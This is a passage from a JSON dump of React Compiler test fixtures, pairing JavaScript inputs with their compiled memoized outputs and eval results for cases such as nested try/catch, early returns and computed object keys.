    "content": "\n## Input\n\n```javascript\n// @compilationMode:\"infer\"\nimport {useMemo} from 'react';\n\nfunction useFoo(text) {\n  return useMemo(() => {\n    try {\n      let formattedText = '';\n      try {\n        formattedText = format(text);\n      } catch {\n        formattedText = text;\n      }\n      return formattedText || '';\n    } catch (e) {\n      return '';\n    }\n  }, [text]);\n}\n\nfunction format(text) {\n  return text.toUpperCase();\n}\n\nfunction Foo({text}) {\n  const result = useFoo(text);\n  return <span>{result}</span>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{text: 'hello'}],\n  sequentialRenders: [\n    {text: 'hello'},\n    {text: 'hello'},\n    {text: 'world'},\n    {text: ''},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @compilationMode:\"infer\"\nimport { useMemo } from \"react\";\n\nfunction useFoo(text) {\n  const $ = _c(2);\n  let t0;\n  try {\n    let formattedText;\n    try {\n      let t2;\n      if ($[0] !== text) {\n        t2 = format(text);\n        $[0] = text;\n        $[1] = t2;\n      } else {\n        t2 = $[1];\n      }\n      formattedText = t2;\n    } catch {\n      formattedText = text;\n    }\n\n    t0 = formattedText || \"\";\n  } catch (t1) {\n    t0 = \"\";\n  }\n  return t0;\n}\n\nfunction format(text) {\n  return text.toUpperCase();\n}\n\nfunction Foo(t0) {\n  const $ = _c(2);\n  const { text } = t0;\n  const result = useFoo(text);\n  let t1;\n  if ($[0] !== result) {\n    t1 = <span>{result}</span>;\n    $[0] = result;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ text: \"hello\" }],\n  sequentialRenders: [\n    { text: \"hello\" },\n    { text: \"hello\" },\n    { text: \"world\" },\n    { text: \"\" },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <span>HELLO</span>\n<span>HELLO</span>\n<span>WORLD</span>\n<span></span>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-nested-try-catch-in-usememo.js",
    "content": "// @compilationMode:\"infer\"\nimport {useMemo} from 'react';\n\nfunction useFoo(text) {\n  return useMemo(() => {\n    try {\n      let formattedText = '';\n      try {\n        formattedText = format(text);\n      } catch {\n        formattedText = text;\n      }\n      return formattedText || '';\n    } catch (e) {\n      return '';\n    }\n  }, [text]);\n}\n\nfunction format(text) {\n  return text.toUpperCase();\n}\n\nfunction Foo({text}) {\n  const result = useFoo(text);\n  return <span>{result}</span>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{text: 'hello'}],\n  sequentialRenders: [\n    {text: 'hello'},\n    {text: 'hello'},\n    {text: 'world'},\n    {text: ''},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-declarations-in-reactive-scope-with-early-return.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nfunction Component() {\n  const items = useItems();\n  const filteredItems = useMemo(\n    () =>\n      items.filter(([item]) => {\n        return item.name != null;\n      }),\n    [item]\n  );\n\n  if (filteredItems.length === 0) {\n    // note: this must return nested JSX to create the right scope\n    // shape that causes no declarations to be emitted\n    return (\n      <div>\n        <span />\n      </div>\n    );\n  }\n\n  return (\n    <>\n      {filteredItems.map(([item]) => (\n        <Stringify item={item} />\n      ))}\n    </>\n  );\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nfunction Component() {\n  const $ = _c(6);\n  const items = useItems();\n  let t0;\n  let t1;\n  if ($[0] !== items) {\n    t1 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      const filteredItems = items.filter(_temp);\n      if (filteredItems.length === 0) {\n        let t2;\n        if ($[3] === Symbol.for(\"react.memo_cache_sentinel\")) {\n          t2 = (\n            <div>\n              <span />\n            </div>\n          );\n          $[3] = t2;\n        } else {\n          t2 = $[3];\n        }\n        t1 = t2;\n        break bb0;\n      }\n      t0 = filteredItems.map(_temp2);\n    }\n    $[0] = items;\n    $[1] = t0;\n    $[2] = t1;\n  } else {\n    t0 = $[1];\n    t1 = $[2];\n  }\n  if (t1 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t1;\n  }\n  let t2;\n  if ($[4] !== t0) {\n    t2 = <>{t0}</>;\n    $[4] = t0;\n    $[5] = t2;\n  } else {\n    t2 = $[5];\n  }\n  return t2;\n}\nfunction _temp2(t0) {\n  const [item_0] = t0;\n  return <Stringify item={item_0} />;\n}\nfunction _temp(t0) {\n  const [item] = t0;\n  return item.name != null;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-declarations-in-reactive-scope-with-early-return.js",
    "content": "// @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nfunction Component() {\n  const items = useItems();\n  const filteredItems = useMemo(\n    () =>\n      items.filter(([item]) => {\n        return item.name != null;\n      }),\n    [item]\n  );\n\n  if (filteredItems.length === 0) {\n    // note: this must return nested JSX to create the right scope\n    // shape that causes no declarations to be emitted\n    return (\n      <div>\n        <span />\n      </div>\n    );\n  }\n\n  return (\n    <>\n      {filteredItems.map(([item]) => (\n        <Stringify item={item} />\n      ))}\n    </>\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-value-for-temporary-reactive-scope-with-early-return.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions\nimport {identity, makeObject_Primitives} from 'shared-runtime';\nimport fbt from 'fbt';\n\nfunction Component(props) {\n  const object = makeObject_Primitives();\n  const cond = makeObject_Primitives();\n  if (!cond) {\n    return null;\n  }\n\n  return (\n    <div className=\"foo\">\n      {fbt(\n        'Lorum ipsum' + fbt.param('thing', object.b) + ' blah blah blah',\n        'More text'\n      )}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity, makeObject_Primitives } from \"shared-runtime\";\nimport fbt from \"fbt\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      const object = makeObject_Primitives();\n      const cond = makeObject_Primitives();\n      if (!cond) {\n        t1 = null;\n        break bb0;\n      }\n      t0 = (\n        <div className=\"foo\">\n          {fbt._(\n            \"Lorum ipsum{thing} blah blah blah\",\n            [fbt._param(\"thing\", object.b)],\n            { hk: \"lwmuH\" },\n          )}\n        </div>\n      );\n    }\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t0 = $[0];\n    t1 = $[1];\n  }\n  if (t1 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t1;\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div class=\"foo\">Lorum ipsumvalue1 blah blah blah</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-value-for-temporary-reactive-scope-with-early-return.js",
    "content": "// @flow @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions\nimport {identity, makeObject_Primitives} from 'shared-runtime';\nimport fbt from 'fbt';\n\nfunction Component(props) {\n  const object = makeObject_Primitives();\n  const cond = makeObject_Primitives();\n  if (!cond) {\n    return null;\n  }\n\n  return (\n    <div className=\"foo\">\n      {fbt(\n        'Lorum ipsum' + fbt.param('thing', object.b) + ' blah blah blah',\n        'More text'\n      )}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-value-for-temporary.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions\nfunction Component(listItem, thread) {\n  const isFoo = isFooThread(thread.threadType);\n  const body = useBar(listItem, [getBadgeText(listItem, isFoo)]);\n\n  return body;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(listItem, thread) {\n  const $ = _c(7);\n  let t0;\n  let t1;\n  let t2;\n  if ($[0] !== listItem || $[1] !== thread.threadType) {\n    const isFoo = isFooThread(thread.threadType);\n    t1 = useBar;\n    t2 = listItem;\n    t0 = getBadgeText(listItem, isFoo);\n    $[0] = listItem;\n    $[1] = thread.threadType;\n    $[2] = t0;\n    $[3] = t1;\n    $[4] = t2;\n  } else {\n    t0 = $[2];\n    t1 = $[3];\n    t2 = $[4];\n  }\n  let t3;\n  if ($[5] !== t0) {\n    t3 = [t0];\n    $[5] = t0;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  const body = t1(t2, t3);\n\n  return body;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-value-for-temporary.js",
    "content": "// @flow @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions\nfunction Component(listItem, thread) {\n  const isFoo = isFooThread(thread.threadType);\n  const body = useBar(listItem, [getBadgeText(listItem, isFoo)]);\n\n  return body;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-non-identifier-object-keys.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Foo() {\n  return {\n    'a.b': 1,\n    'a\\b': 2,\n    'a/b': 3,\n    'a+b': 4,\n    'a b': 5,\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Foo() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = { \"a.b\": 1, \"a\\b\": 2, \"a/b\": 3, \"a+b\": 4, \"a b\": 5 };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a.b\":1,\"a\\b\":2,\"a/b\":3,\"a+b\":4,\"a b\":5}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-non-identifier-object-keys.ts",
    "content": "function Foo() {\n  return {\n    'a.b': 1,\n    'a\\b': 2,\n    'a/b': 3,\n    'a+b': 4,\n    'a b': 5,\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-object-expression-computed-key-modified-during-after-construction-hoisted-sequence-expr.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nimport {identity, mutate} from 'shared-runtime';\n\n/**\n * Fixed in the new inference model.\n *\n * Bug: copy of error.todo-object-expression-computed-key-modified-during-after-construction-sequence-expr\n * with the mutation hoisted to a named variable instead of being directly\n * inlined into the Object key.\n *\n * Found differences in evaluator results\n *   Non-forget (expected):\n *   (kind: ok) [{\"[object Object]\":[42]},{\"wat0\":\"joe\",\"wat1\":\"joe\"}]\n *   [{\"[object Object]\":[42]},{\"wat0\":\"joe\",\"wat1\":\"joe\"}]\n *   Forget:\n *   (kind: ok) [{\"[object Object]\":[42]},{\"wat0\":\"joe\",\"wat1\":\"joe\"}]\n *   [{\"[object Object]\":[42]},{\"wat0\":\"joe\",\"wat1\":\"joe\",\"wat2\":\"joe\"}]\n */\nfunction Component(props) {\n  const key = {};\n  const tmp = (mutate(key), key);\n  const context = {\n    // Here, `tmp` is frozen (as it's inferred to be a primitive/string)\n    [tmp]: identity([props.value]),\n  };\n  mutate(key);\n  return [context, key];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n  sequentialRenders: [{value: 42}, {value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\nimport { identity, mutate } from \"shared-runtime\";\n\n/**\n * Fixed in the new inference model.\n *\n * Bug: copy of error.todo-object-expression-computed-key-modified-during-after-construction-sequence-expr\n * with the mutation hoisted to a named variable instead of being directly\n * inlined into the Object key.\n *\n * Found differences in evaluator results\n *   Non-forget (expected):\n *   (kind: ok) [{\"[object Object]\":[42]},{\"wat0\":\"joe\",\"wat1\":\"joe\"}]\n *   [{\"[object Object]\":[42]},{\"wat0\":\"joe\",\"wat1\":\"joe\"}]\n *   Forget:\n *   (kind: ok) [{\"[object Object]\":[42]},{\"wat0\":\"joe\",\"wat1\":\"joe\"}]\n *   [{\"[object Object]\":[42]},{\"wat0\":\"joe\",\"wat1\":\"joe\",\"wat2\":\"joe\"}]\n */\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.value) {\n    const key = {};\n    const tmp = (mutate(key), key);\n    const context = { [tmp]: identity([props.value]) };\n    mutate(key);\n    t0 = [context, key];\n    $[0] = props.value;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n  sequentialRenders: [{ value: 42 }, { value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"[object Object]\":[42]},{\"wat0\":\"joe\",\"wat1\":\"joe\"}]\n[{\"[object Object]\":[42]},{\"wat0\":\"joe\",\"wat1\":\"joe\"}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-object-expression-computed-key-modified-during-after-construction-hoisted-sequence-expr.js",
    "content": "// @enableNewMutationAliasingModel\nimport {identity, mutate} from 'shared-runtime';\n\n/**\n * Fixed in the new inference model.\n *\n * Bug: copy of error.todo-object-expression-computed-key-modified-during-after-construction-sequence-expr\n * with the mutation hoisted to a named variable instead of being directly\n * inlined into the Object key.\n *\n * Found differences in evaluator results\n *   Non-forget (expected):\n *   (kind: ok) [{\"[object Object]\":[42]},{\"wat0\":\"joe\",\"wat1\":\"joe\"}]\n *   [{\"[object Object]\":[42]},{\"wat0\":\"joe\",\"wat1\":\"joe\"}]\n *   Forget:\n *   (kind: ok) [{\"[object Object]\":[42]},{\"wat0\":\"joe\",\"wat1\":\"joe\"}]\n *   [{\"[object Object]\":[42]},{\"wat0\":\"joe\",\"wat1\":\"joe\",\"wat2\":\"joe\"}]\n */\nfunction Component(props) {\n  const key = {};\n  const tmp = (mutate(key), key);\n  const context = {\n    // Here, `tmp` is frozen (as it's inferred to be a primitive/string)\n    [tmp]: identity([props.value]),\n  };\n  mutate(key);\n  return [context, key];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n  sequentialRenders: [{value: 42}, {value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-object-fromEntries-entries.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\nimport {Stringify} from 'shared-runtime';\n\n// derived from https://github.com/facebook/react/issues/32261\nfunction Component({items}) {\n  const record = useMemo(\n    () =>\n      Object.fromEntries(\n        items.map(item => [item.id, ref => <Stringify ref={ref} {...item} />])\n      ),\n    [items]\n  );\n\n  // Without a declaration for Object.entries(), this would be assumed to mutate\n  // `record`, meaning existing memoization couldn't be preserved\n  return (\n    <div>\n      {Object.entries(record).map(([id, render]) => (\n        <Stringify key={id} render={render} />\n      ))}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      items: [\n        {id: '0', name: 'Hello'},\n        {id: '1', name: 'World!'},\n      ],\n    },\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\nimport { useMemo } from \"react\";\nimport { Stringify } from \"shared-runtime\";\n\n// derived from https://github.com/facebook/react/issues/32261\nfunction Component(t0) {\n  const $ = _c(4);\n  const { items } = t0;\n  let t1;\n  if ($[0] !== items) {\n    t1 = Object.fromEntries(items.map(_temp));\n    $[0] = items;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const record = t1;\n  let t2;\n  if ($[2] !== record) {\n    t2 = <div>{Object.entries(record).map(_temp2)}</div>;\n    $[2] = record;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  return t2;\n}\nfunction _temp2(t0) {\n  const [id, render] = t0;\n  return <Stringify key={id} render={render} />;\n}\nfunction _temp(item) {\n  return [item.id, (ref) => <Stringify ref={ref} {...item} />];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      items: [\n        { id: \"0\", name: \"Hello\" },\n        { id: \"1\", name: \"World!\" },\n      ],\n    },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><div>{\"render\":\"[[ function params=1 ]]\"}</div><div>{\"render\":\"[[ function params=1 ]]\"}</div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-object-fromEntries-entries.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\nimport {Stringify} from 'shared-runtime';\n\n// derived from https://github.com/facebook/react/issues/32261\nfunction Component({items}) {\n  const record = useMemo(\n    () =>\n      Object.fromEntries(\n        items.map(item => [item.id, ref => <Stringify ref={ref} {...item} />])\n      ),\n    [items]\n  );\n\n  // Without a declaration for Object.entries(), this would be assumed to mutate\n  // `record`, meaning existing memoization couldn't be preserved\n  return (\n    <div>\n      {Object.entries(record).map(([id, render]) => (\n        <Stringify key={id} render={render} />\n      ))}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      items: [\n        {id: '0', name: 'Hello'},\n        {id: '1', name: 'World!'},\n      ],\n    },\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-object-pattern.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(t) {\n  let {a} = t;\n  let y = {a};\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [{a: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(t) {\n  const $ = _c(2);\n  const { a } = t;\n  let t0;\n  if ($[0] !== a) {\n    t0 = { a };\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const y = t0;\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [{ a: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":42}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-object-pattern.js",
    "content": "function component(t) {\n  let {a} = t;\n  let y = {a};\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [{a: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-preds-undefined-try-catch-return-primitive.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions\n\nimport {useMemo} from 'react';\n\nconst checkforTouchEvents = true;\nfunction useSupportsTouchEvent() {\n  return useMemo(() => {\n    if (checkforTouchEvents) {\n      try {\n        document.createEvent('TouchEvent');\n        return true;\n      } catch {\n        return false;\n      }\n    }\n  }, []);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useSupportsTouchEvent,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\n// @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions\n\nimport { useMemo } from \"react\";\n\nconst checkforTouchEvents = true;\nfunction useSupportsTouchEvent() {\n  let t0;\n  bb0: {\n    if (checkforTouchEvents) {\n      try {\n        document.createEvent(\"TouchEvent\");\n        t0 = true;\n        break bb0;\n      } catch {\n        t0 = false;\n        break bb0;\n      }\n    }\n    t0 = undefined;\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useSupportsTouchEvent,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) true"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-preds-undefined-try-catch-return-primitive.js",
    "content": "// @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions\n\nimport {useMemo} from 'react';\n\nconst checkforTouchEvents = true;\nfunction useSupportsTouchEvent() {\n  return useMemo(() => {\n    if (checkforTouchEvents) {\n      try {\n        document.createEvent('TouchEvent');\n        return true;\n      } catch {\n        return false;\n      }\n    }\n  }, []);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useSupportsTouchEvent,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\n\nimport {identity, Stringify} from 'shared-runtime';\n\n/**\n * Repro from https://github.com/facebook/react/issues/34262\n *\n * The compiler memoizes more precisely than the original code, with two reactive scopes:\n * - One for `transform(input)` with `input` as dep\n * - One for `{value}` with `value` as dep\n *\n * Previously ValidatePreservedManualMemoization rejected this input, because\n * the original memoization had `object` depending on `input` but we split the scope per above,\n * and the scope for the FinishMemoize instruction is the second scope which depends on `value`\n */\nfunction useInputValue(input) {\n  const object = React.useMemo(() => {\n    const {value} = identity(input);\n    return {value};\n  }, [input]);\n  return object;\n}\n\nfunction Component() {\n  return <Stringify value={useInputValue({value: 42}).value} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\n\nimport { identity, Stringify } from \"shared-runtime\";\n\n/**\n * Repro from https://github.com/facebook/react/issues/34262\n *\n * The compiler memoizes more precisely than the original code, with two reactive scopes:\n * - One for `transform(input)` with `input` as dep\n * - One for `{value}` with `value` as dep\n *\n * Previously ValidatePreservedManualMemoization rejected this input, because\n * the original memoization had `object` depending on `input` but we split the scope per above,\n * and the scope for the FinishMemoize instruction is the second scope which depends on `value`\n */\nfunction useInputValue(input) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== input) {\n    t0 = identity(input);\n    $[0] = input;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const { value } = t0;\n  let t1;\n  if ($[2] !== value) {\n    t1 = { value };\n    $[2] = value;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  const object = t1;\n\n  return object;\n}\n\nfunction Component() {\n  const $ = _c(3);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = { value: 42 };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const t1 = useInputValue(t0);\n  let t2;\n  if ($[1] !== t1.value) {\n    t2 = <Stringify value={t1.value} />;\n    $[1] = t1.value;\n    $[2] = t2;\n  } else {\n    t2 = $[2];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"value\":42}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees\n\nimport {identity, Stringify} from 'shared-runtime';\n\n/**\n * Repro from https://github.com/facebook/react/issues/34262\n *\n * The compiler memoizes more precisely than the original code, with two reactive scopes:\n * - One for `transform(input)` with `input` as dep\n * - One for `{value}` with `value` as dep\n *\n * Previously ValidatePreservedManualMemoization rejected this input, because\n * the original memoization had `object` depending on `input` but we split the scope per above,\n * and the scope for the FinishMemoize instruction is the second scope which depends on `value`\n */\nfunction useInputValue(input) {\n  const object = React.useMemo(() => {\n    const {value} = identity(input);\n    return {value};\n  }, [input]);\n  return object;\n}\n\nfunction Component() {\n  return <Stringify value={useInputValue({value: 42}).value} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-propagate-type-of-ternary-jsx.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction V0({v1, v2}: V3<{v1: any, v2: V4}>): V12.V11 {\n  const v5 = v1.v6?.v7;\n  return (\n    <Component8 c9={va} cb=\"apqjx\">\n      {v5 != null ? (\n        <ComponentC cd={v5}>\n          <ComponentE cf={v1} c10={v2} />\n        </ComponentC>\n      ) : (\n        <ComponentE cf={v1} c10={v2} />\n      )}\n    </Component8>\n  );\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction V0(t0) {\n  const $ = _c(4);\n  const { v1, v2 } = t0;\n  const v5 = v1.v6?.v7;\n  let t1;\n  if ($[0] !== v1 || $[1] !== v2 || $[2] !== v5) {\n    t1 = (\n      <Component8 c9={va} cb=\"apqjx\">\n        {v5 != null ? (\n          <ComponentC cd={v5}>\n            <ComponentE cf={v1} c10={v2} />\n          </ComponentC>\n        ) : (\n          <ComponentE cf={v1} c10={v2} />\n        )}\n      </Component8>\n    );\n    $[0] = v1;\n    $[1] = v2;\n    $[2] = v5;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-propagate-type-of-ternary-jsx.js",
    "content": "function V0({v1, v2}: V3<{v1: any, v2: V4}>): V12.V11 {\n  const v5 = v1.v6?.v7;\n  return (\n    <Component8 c9={va} cb=\"apqjx\">\n      {v5 != null ? (\n        <ComponentC cd={v5}>\n          <ComponentE cf={v1} c10={v2} />\n        </ComponentC>\n      ) : (\n        <ComponentE cf={v1} c10={v2} />\n      )}\n    </Component8>\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-propagate-type-of-ternary-nested.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction V0({v1}: V2<{v1?: V3}>): V2b.V2a {\n  const v4 = v5(V6.v7({v8: V9.va}));\n  const vb = (\n    <ComponentC cd=\"TxqUy\" ce=\"oh`]uc\" cf=\"Bdbo\" c10={!V9.va && v11.v12}>\n      gmhubcw\n      {v1 === V3.V13 ? (\n        <c14 c15=\"L^]w\\\\T\\\\qrGmqrlQyrvBgf\\\\inuRdkEqwVPwixiriYGSZmKJf]E]RdT{N[WyVPiEJIbdFzvDohJV[BV`H[[K^xoy[HOGKDqVzUJ^h\">\n          iawyneijcgamsfgrrjyvhjrrqvzexxwenxqoknnilmfloafyvnvkqbssqnxnexqvtcpvjysaiovjxyqrorqskfph\n        </c14>\n      ) : v16.v17('pyorztRC]EJzVuP^e') ? (\n        <c14 c15=\"CRinMqvmOknWRAKERI]RBzB_LXGKQe{SUpoN[\\\\gL[`bLMOhvFqDVVMNOdY\">\n          goprinbjmmjhfserfuqyluxcewpyjihektogc\n        </c14>\n      ) : (\n        <c14 c15=\"H\\\\\\\\GAcTc\\\\lfGMW[yHriCpvW`w]niSIKj\\\\kdgFI\">\n          yejarlvudihqdrdgpvahovggdnmgnueedxpbwbkdvvkdhqwrtoiual\n        </c14>\n      )}\n      hflmn\n    </ComponentC>\n  );\n  return vb;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction V0(t0) {\n  const $ = _c(2);\n  const { v1 } = t0;\n  v5(V6.v7({ v8: V9.va }));\n  let t1;\n  if ($[0] !== v1) {\n    t1 = (\n      <ComponentC cd=\"TxqUy\" ce=\"oh`]uc\" cf=\"Bdbo\" c10={!V9.va && v11.v12}>\n        gmhubcw\n        {v1 === V3.V13 ? (\n          <c14\n            c15={\n              